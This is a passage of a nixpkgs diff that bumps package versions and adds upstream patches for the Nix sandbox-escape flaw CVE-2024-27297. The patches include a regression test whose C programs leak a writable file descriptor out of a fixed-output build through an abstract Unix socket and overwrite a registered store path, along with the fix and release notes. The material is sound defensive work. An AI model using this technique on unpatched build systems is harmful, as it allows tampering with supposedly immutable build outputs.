maintainers; [ mog rafael ]; platforms = platforms.linux; license = licenses.asl20; + mainProgram = "zap"; }; } diff --git a/pkgs/tools/networking/zrok/default.nix b/pkgs/tools/networking/zrok/default.nix index 1515f357778e0..68d4ad3ba1252 100644 --- a/pkgs/tools/networking/zrok/default.nix +++ b/pkgs/tools/networking/zrok/default.nix @@ -14,14 +14,14 @@ let }.${system} or throwSystem; hash = { - x86_64-linux = "sha256-DrkX9Be8gw9JXyfyxcK2mhGur5jWFv4LjaYRSVh4dSE="; - aarch64-linux = "sha256-VVeTVBJyptbR/6JZwZ0V2v4lS3X/ixrcC++aMQBtg2Q="; - armv7l-linux = "sha256-m6tALmSCZKLQrSeIpygEQF5nuJBZ8MYmxdbeFH5ydt0="; + x86_64-linux = "sha256-17RtPUuFmIwxh+9mEsR9vwUHQHnXLIHEEhpV05Q9Ssw="; + aarch64-linux = "sha256-bJjhKf8dkOsVaaPikDrPLe+zF5CFvxvEALuzmiQuINY="; + armv7l-linux = "sha256-m/Ncr/+5kkC4p1/DhEfWermdsOAuekVECzR7SI1KpIQ="; }.${system} or throwSystem; in stdenv.mkDerivation (finalAttrs: { pname = "zrok"; - version = "0.4.23"; + version = "0.4.24"; src = fetchzip { url = "https://github.com/openziti/zrok/releases/download/v${finalAttrs.version}/zrok_${finalAttrs.version}_${plat}.tar.gz"; diff --git a/pkgs/tools/networking/zs-apc-spdu-ctl/default.nix b/pkgs/tools/networking/zs-apc-spdu-ctl/default.nix index 44dc0bdd3a098..d832a102f33be 100644 --- a/pkgs/tools/networking/zs-apc-spdu-ctl/default.nix +++ b/pkgs/tools/networking/zs-apc-spdu-ctl/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.fogti ]; platforms = platforms.linux; + mainProgram = "zs-apc-spdu-ctl"; }; } diff --git a/pkgs/tools/nix/nix-init/default.nix b/pkgs/tools/nix/nix-init/default.nix index a50a7fc1a0d16..1e1ef3c0d0f68 100644 --- a/pkgs/tools/nix/nix-init/default.nix +++ b/pkgs/tools/nix/nix-init/default.nix @@ -6,7 +6,7 @@ , installShellFiles , pkg-config , bzip2 -, libgit2_1_6 +, libgit2 , openssl , zlib , zstd @@ -45,7 +45,7 @@ rustPlatform.buildRustPackage rec { buildInputs = [ bzip2 curl - libgit2_1_6 + libgit2 openssl zlib zstd @@ -80,6 +80,7 @@ rustPlatform.buildRustPackage rec { env = { GEN_ARTIFACTS = "artifacts"; + LIBGIT2_NO_VENDOR = 1; NIX = lib.getExe nix; NURL = lib.getExe nurl; ZSTD_SYS_USE_PKG_CONFIG = true; diff --git a/pkgs/tools/nix/nixdoc/default.nix b/pkgs/tools/nix/nixdoc/default.nix index e757e79f46847..1d5014a1c700b 100644 --- a/pkgs/tools/nix/nixdoc/default.nix +++ b/pkgs/tools/nix/nixdoc/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "nixdoc"; - version = "2.7.0"; + version = "3.0.1"; src = fetchFromGitHub { owner = "nix-community"; repo = "nixdoc"; rev = "v${version}"; - sha256 = "sha256-0cyKI8KHFsMXYca3hzbqxmBpxGdhl4/i183kfUQr8pg="; + sha256 = "sha256-PnvVGw0DMBg/l7+QpcXW5AFfR6MeXBiUYdVAZuue1jA="; }; - cargoHash = "sha256-9dqjNExxLDgVsu14yDQOJP1qxKy2ACiUH+pbX77iT70="; + cargoHash = "sha256-qLTUyhoEVtjgh+ilEv+pQLXLYWlW9gVsCiA5rPfymZY="; buildInputs = lib.optionals stdenv.isDarwin [ darwin.Security ]; diff --git a/pkgs/tools/nix/nixos-option/nixos-option.cc b/pkgs/tools/nix/nixos-option/nixos-option.cc index e2a73866d0ed3..d8c3d46c4fa19 100644 --- a/pkgs/tools/nix/nixos-option/nixos-option.cc +++ b/pkgs/tools/nix/nixos-option/nixos-option.cc @@ -368,20 +368,20 @@ std::string describeError(const Error & e) { return "«error: " + e.msg() + "»" void describeDerivation(Context & ctx, Out & out, Value v) { // Copy-pasted from nix/src/nix/repl.cc :( + out << "«derivation "; Bindings::iterator i = v.attrs->find(ctx.state.sDrvPath); - PathSet pathset; - try { - Path drvPath = i != v.attrs->end() ? ctx.state.coerceToPath(i->pos, *i->value, pathset, "while evaluating the drvPath of a derivation") : "???"; - out << "«derivation " << drvPath << "»"; - } catch (Error & e) { - out << describeError(e); - } + nix::NixStringContext strContext; + if (i != v.attrs->end()) + out << ctx.state.store->printStorePath(ctx.state.coerceToStorePath(i->pos, *i->value, strContext, "while evaluating the drvPath of a derivation")); + else + out << "???"; + out << "»"; } Value parseAndEval(EvalState & state, const std::string & expression, const std::string & path) { Value v{}; - state.eval(state.parseExprFromString(expression, absPath(path)), v); + state.eval(state.parseExprFromString(expression, nix::SourcePath(nix::CanonPath::fromCwd(path))), v); return v; } diff --git a/pkgs/tools/package-management/deploy-rs/default.nix b/pkgs/tools/package-management/deploy-rs/default.nix index 72eacb558bb8a..ad656ca385e47 100644 --- a/pkgs/tools/package-management/deploy-rs/default.nix +++ b/pkgs/tools/package-management/deploy-rs/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage { pname = "deploy-rs"; - version = "unstable-2023-12-20"; + version = "unstable-2024-02-16"; src = fetchFromGitHub { owner = "serokell"; repo = "deploy-rs"; - rev = "b709d63debafce9f5645a5ba550c9e0983b3d1f7"; - hash = "sha256-0VUbWBW8VyiDRuimMuLsEO4elGuUw/nc2WDeuO1eN1M="; + rev = "0a0187794ac7f7a1e62cda3dabf8dc041f868790"; + hash = "sha256-dTGGw2y8wvfjr+J9CjQbfdulOq72hUG17HXVNxpH1yE="; }; - cargoHash = "sha256-PVeCB1g3JSYE6PKWHyE3hfN/CKlb9XErt8uaD/ZyxIs="; + cargoHash = "sha256-Vo/45cZM/sBAaoikhEwCvduhMQjurwSZwCjwrIQn7IA="; buildInputs = lib.optionals stdenv.isDarwin [ CoreServices diff --git a/pkgs/tools/package-management/dnf5/default.nix b/pkgs/tools/package-management/dnf5/default.nix index a5b7e8f4f8130..fc22001a51922 100644 --- a/pkgs/tools/package-management/dnf5/default.nix +++ b/pkgs/tools/package-management/dnf5/default.nix @@ -30,7 +30,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "dnf5"; - version = "5.1.12"; + version = "5.1.14"; outputs = [ "out" "man" ]; @@ -38,7 +38,7 @@ stdenv.mkDerivation (finalAttrs: { owner = "rpm-software-management"; repo = "dnf5"; rev = finalAttrs.version; - hash = "sha256-AzyFc+fBQyyCNzr8ulMEtFEotdUzStsyYOv9ppcIBw4="; + hash = "sha256-LVemkL3Ysv2hS0/c+ZTqzEKq3kFu+T1rEBwZpjssE2k="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/package-management/dpkg/default.nix b/pkgs/tools/package-management/dpkg/default.nix index 59e259541992d..b286a7b51b9f7 100644 --- a/pkgs/tools/package-management/dpkg/default.nix +++ b/pkgs/tools/package-management/dpkg/default.nix @@ -18,12 +18,12 @@ stdenv.mkDerivation rec { pname = "dpkg"; - version = "1.22.1"; + version = "1.22.4"; src = fetchgit { url = "https://git.launchpad.net/ubuntu/+source/dpkg"; rev = "applied/${version}"; - hash = "sha256-63XRO3Img+XS2F5Krb5DAw0LMhtxB+eJi754O03Lx8Q="; + hash = "sha256-tpYSOimBd78rAthQUga/MNraWll9qEA+vRG+/F+t3mM="; }; configureFlags = [ diff --git a/pkgs/tools/package-management/nix-update/default.nix b/pkgs/tools/package-management/nix-update/default.nix index 20d5c3105e97c..8ccdd08a25e3f 100644 --- a/pkgs/tools/package-management/nix-update/default.nix +++ b/pkgs/tools/package-management/nix-update/default.nix @@ -9,14 +9,14 @@ python3.pkgs.buildPythonApplication rec { pname = "nix-update"; - version = "1.0.0"; + version = "1.2.0"; pyproject = true; src = fetchFromGitHub { owner = "Mic92"; repo = pname; rev = version; - hash = "sha256-C7ke51QlBcTR98ovQi5NcxToEPP6s9gqnxWO1eBw/sI="; + hash = "sha256-/Lv4wO4mCOwk8lNdfiQq2U+PhgeEeSnh89I2N7fxEpE="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/package-management/nix/common.nix b/pkgs/tools/package-management/nix/common.nix index f53adfa8a085e..77a6bca3e9fb4 100644 --- a/pkgs/tools/package-management/nix/common.nix +++ b/pkgs/tools/package-management/nix/common.nix @@ -15,6 +15,14 @@ let atLeast210 = lib.versionAtLeast version "2.10pre"; atLeast213 = lib.versionAtLeast version "2.13pre"; atLeast214 = lib.versionAtLeast version "2.14pre"; + atLeast221 = lib.versionAtLeast version "2.21pre"; + # Major.minor versions unaffected by CVE-2024-27297 + unaffectedByFodSandboxEscape = [ + "2.3" + "2.18" + "2.19" + "2.20" + ]; in { stdenv , autoconf-archive @@ -56,13 +64,7 @@ in , util-linuxMinimal , xz -, enableDocumentation ? !atLeast24 || ( - (stdenv.hostPlatform == stdenv.buildPlatform) && - # mdbook errors out on risc-v due to a rustc bug - # https://github.com/NixOS/nixpkgs/pull/242019 - # https://github.com/rust-lang/rust/issues/114473 - !stdenv.buildPlatform.isRiscV - ) +, enableDocumentation ? !atLeast24 || stdenv.hostPlatform == stdenv.buildPlatform , enableStatic ? stdenv.hostPlatform.isStatic , withAWS ? !enableStatic && (stdenv.isLinux || stdenv.isDarwin), aws-sdk-cpp , withLibseccomp ? lib.meta.availableOn stdenv.hostPlatform libseccomp, libseccomp @@ -255,6 +257,7 @@ self = stdenv.mkDerivation { platforms = platforms.unix; outputsToInstall = [ "out" ] ++ optional enableDocumentation "man"; mainProgram = "nix"; + knownVulnerabilities = lib.optional (!builtins.elem (lib.versions.majorMinor version) unaffectedByFodSandboxEscape && !atLeast221) "CVE-2024-27297"; }; }; in self diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index c3f970f78fb39..b72bc3c1d8aa5 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -156,6 +156,7 @@ in lib.makeExtensible (self: ({ hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4="; patches = [ patch-monitorfdhup + ./patches/2_3/CVE-2024-27297.patch ]; maintainers = with lib.maintainers; [ flokli raitobezarius ]; }).override { boehmgc = boehmgc-nix_2_3; }; @@ -234,12 +235,16 @@ in lib.makeExtensible (self: ({ hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; patches = [ patch-rapidcheck-shared + ./patches/2_18/CVE-2024-27297.patch ]; }; nix_2_19 = common { version = "2.19.3"; hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo="; + patches = [ + ./patches/2_19/CVE-2024-27297.patch + ]; }; # The minimum Nix version supported by Nixpkgs diff --git a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch new file mode 100644 index 0000000000000..8d110d46a6bbe --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch @@ -0,0 +1,379 @@ +From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 03:42:26 -0500 +Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +--- + flake.nix | 2 + + tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ + 4 files changed, 223 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/flake.nix b/flake.nix +index 230bb6031..4a54c660f 100644 +--- a/flake.nix ++++ b/flake.nix +@@ -634,6 +634,8 @@ + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./tests/nixos/setuid.nix); + ++ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; ++ + + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..a6ae72adc +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,90 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ config, ... }: ++ ++let ++ pkgs = config.nodes.machine.nixpkgs.pkgs; ++ ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++{ ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ nix.settings.substituters = lib.mkForce [ ]; ++ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was not modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} +-- +2.42.0 + + +From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 03:45:39 -0500 +Subject: [PATCH 2/3] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + src/libstore/build/local-derivation-goal.cc | 6 ++++++ + src/libutil/filesystem.cc | 6 ++++++ + src/libutil/util.hh | 7 +++++++ + 3 files changed, 19 insertions(+) + +diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc +index 64b55ca6a..f1e22f829 100644 +--- a/src/libstore/build/local-derivation-goal.cc ++++ b/src/libstore/build/local-derivation-goal.cc +@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + ++ // Replace the output by a fresh copy of itself to make sure ++ // that there's no stale file descriptor pointing to it ++ Path tmpOutput = actualPath + ".tmp"; ++ copyFile(actualPath, tmpOutput, true); ++ renameFile(tmpOutput, actualPath); ++ + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { + .method = dof.ca.method, + .hashType = wanted.type, +diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc +index 11cc0c0e7..2a7787c0e 100644 +--- a/src/libutil/filesystem.cc ++++ b/src/libutil/filesystem.cc +@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) + } + } + ++ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) ++{ ++ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); ++} ++ + void renameFile(const Path & oldName, const Path & newName) + { + fs::rename(oldName, newName); +diff --git a/src/libutil/util.hh b/src/libutil/util.hh +index b302d6f45..59d42e0a5 100644 +--- a/src/libutil/util.hh ++++ b/src/libutil/util.hh +@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); + */ + void moveFile(const Path & src, const Path & dst); + ++/** ++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is ++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but ++ * with the guaranty that the destination will be “fresh”, with no stale inode ++ * or file descriptor pointing to it). ++ */ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); + + /** + * Wrappers arount read()/write() that read/write exactly the +-- +2.42.0 + + +From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 04:01:23 -0500 +Subject: [PATCH 3/3] Add release notes + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +--- + doc/manual/src/release-notes/rl-next.md | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md +index c869b5e2f..f77513385 100644 +--- a/doc/manual/src/release-notes/rl-next.md ++++ b/doc/manual/src/release-notes/rl-next.md +@@ -1 +1,9 @@ + # Release X.Y (202?-??-??) ++ ++- Fix a FOD sandbox escape: ++ Cooperating Nix derivations could send file descriptors to files in the Nix ++ store to each other via Unix domain sockets in the abstract namespace. This ++ allowed one derivation to modify the output of the other derivation, after Nix ++ has registered the path as "valid" and immutable in the Nix database. ++ In particular, this allowed the output of fixed-output derivations to be ++ modified from their expected content. This isn't the case any more. +-- +2.42.0 + diff --git a/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch new file mode 100644 index 0000000000000..e75b7577af1e5 --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch @@ -0,0 +1,407 @@ +From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Mon, 12 Feb 2024 21:28:20 +0100 +Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. +--- + tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ + tests/nixos/default.nix | 2 + + 4 files changed, 223 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..40e57ea02 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,90 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ config, ... }: ++ ++let ++ pkgs = config.nodes.machine.nixpkgs.pkgs; ++ ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++{ ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ nix.settings.substituters = lib.mkForce [ ]; ++ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ 